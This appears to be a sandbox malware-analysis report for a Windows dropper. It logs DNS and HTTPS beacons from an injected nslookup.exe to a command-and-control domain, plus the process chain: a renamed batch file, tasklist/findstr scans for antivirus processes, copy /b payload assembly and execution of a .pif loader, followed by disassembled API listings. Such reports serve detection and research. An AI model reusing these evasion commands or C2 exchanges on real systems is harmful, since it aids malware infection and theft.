Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 29, 2024 00:53:24.317884922 CEST	1.1.1.1	192.168.2.8	0xa775	Name error (3)	nrbDrRupdENT.nrbDrRupdENT	none	none	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:24.327992916 CEST	1.1.1.1	192.168.2.8	0xa775	Name error (3)	nrbDrRupdENT.nrbDrRupdENT	none	none	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:54:25.521387100 CEST	1.1.1.1	192.168.2.8	0xb0ca	No error (0)	gutterydhowi.shop		172.67.132.32	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:54:25.521387100 CEST	1.1.1.1	192.168.2.8	0xb0ca	No error (0)	gutterydhowi.shop		104.21.4.136	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

gutterydhowi.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49713	172.67.132.32	443	6200	C:\Windows\SysWOW64\nslookup.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:54:26 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gutterydhowi.shop
2024-09-28 22:54:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-28 22:54:26 UTC	553	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:54:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PtC0jVPduuiZACVH9kA2v%2BW5r65nggoZoHR5f0g0vjoUWqXYW7AGbyDPR%2BxLNic2HjKuR%2ByReqcYTOfImOGBuJwaR9aAM4NBMnxamvMUa5CTjvm9tAFpslS4gn7yjzqal8ufsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ca750b51b140f53-EWR
2024-09-28 22:54:26 UTC	816	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-09-28 22:54:26 UTC	1369	IN	Data Raw: 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f Data Ascii: s/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('co
2024-09-28 22:54:26 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 55 51 70 6b 31 44 78 52 31 54 6d 52 50 4f 4b 42 73 58 2e 43 52 30 49 67 53 69 47 65 71 42 76 48 31 47 51 62 76 7a 35 47 6d 45 63 2d 31 37 32 37 35 36 34 30 36 36 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 Data Ascii: <input type="hidden" name="atok" value="UQpk1DxR1TmRPOKBsX.CR0IgSiGeqBvH1GQbvz5GmEc-1727564066-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn"
2024-09-28 22:54:26 UTC	851	IN	Data Raw: 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c Data Ascii: sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare<
2024-09-28 22:54:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49714	172.67.132.32	443	6200	C:\Windows\SysWOW64\nslookup.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:54:26 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=UQpk1DxR1TmRPOKBsX.CR0IgSiGeqBvH1GQbvz5GmEc-1727564066-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: gutterydhowi.shop
2024-09-28 22:54:26 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6b 39 39 65 52 43 2d 2d 4c 69 6c 79 31 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=k99eRC--Lily1&j=
2024-09-28 22:54:27 UTC	772	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:54:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ts10s0o74c714khsn1k501h06j; expires=Wed, 22 Jan 2025 16:41:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YUsja86WwxXLzkJqX1ZFn1eY15XSibEcznozBgwk2JtwwSZ3wlo4V7oa8rlwBufXYE6KSbcMeUPAC9p8WUORktBQHvU3XfA3iU5uWVUizoiq6pq%2BbwKDJTcWT%2BDAC1omiUFOYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ca750b9485a78db-EWR
2024-09-28 22:54:27 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-28 22:54:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	18:53:16
Start date:	28/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'311'091 bytes
MD5 hash:	58746394954F378471B0B1F02039464E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:53:17
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Messenger Messenger.bat & Messenger.bat
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:53:17
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:53:19
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x520000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:53:19
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0xfe0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:53:20
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x520000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:53:20
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
Imagebase:	0xfe0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:53:21
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 383775
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:53:21
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "ManufacturedBuyingTouchSecond" Jacket
Imagebase:	0xfe0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	18:53:21
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Interface + ..\Populations + ..\Gathering + ..\Did + ..\Depression + ..\Depending + ..\Proposals C
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	18:53:21
Start date:	28/09/2024
Path:	C:\Users\user\AppData\Local\Temp\383775\Fridge.pif
Wow64 process (32bit):	true
Commandline:	Fridge.pif C
Imagebase:	0xd90000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	18:53:21
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xfa0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	18:54:18
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\nslookup.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\nslookup.exe
Imagebase:	0x640000
File size:	77'824 bytes
MD5 hash:	9D2EB13476B126CB61B12CDD03C7DCA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:54:26
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 1608
Imagebase:	0xb30000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	18:54:32
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 1620
Imagebase:	0xb30000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	18:54:35
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 1608
Imagebase:	0xb30000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1526
Total number of Limit Nodes:	34

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

New install of "%s" to "%s", xrefs: 00405182
@rD, xrefs: 004053D7
{, xrefs: 00405352

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

NSIS Error, xrefs: 004038E2
~nsu.tmp, xrefs: 00403AF7
Error launching installer, xrefs: 00403A7D
SeShutdownPrivilege, xrefs: 00403C16
1C, xrefs: 00403B56
\Temp, xrefs: 00403A1B
_?=, xrefs: 00403A64
NCRC, xrefs: 0040397C
/D=, xrefs: 004039A6

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
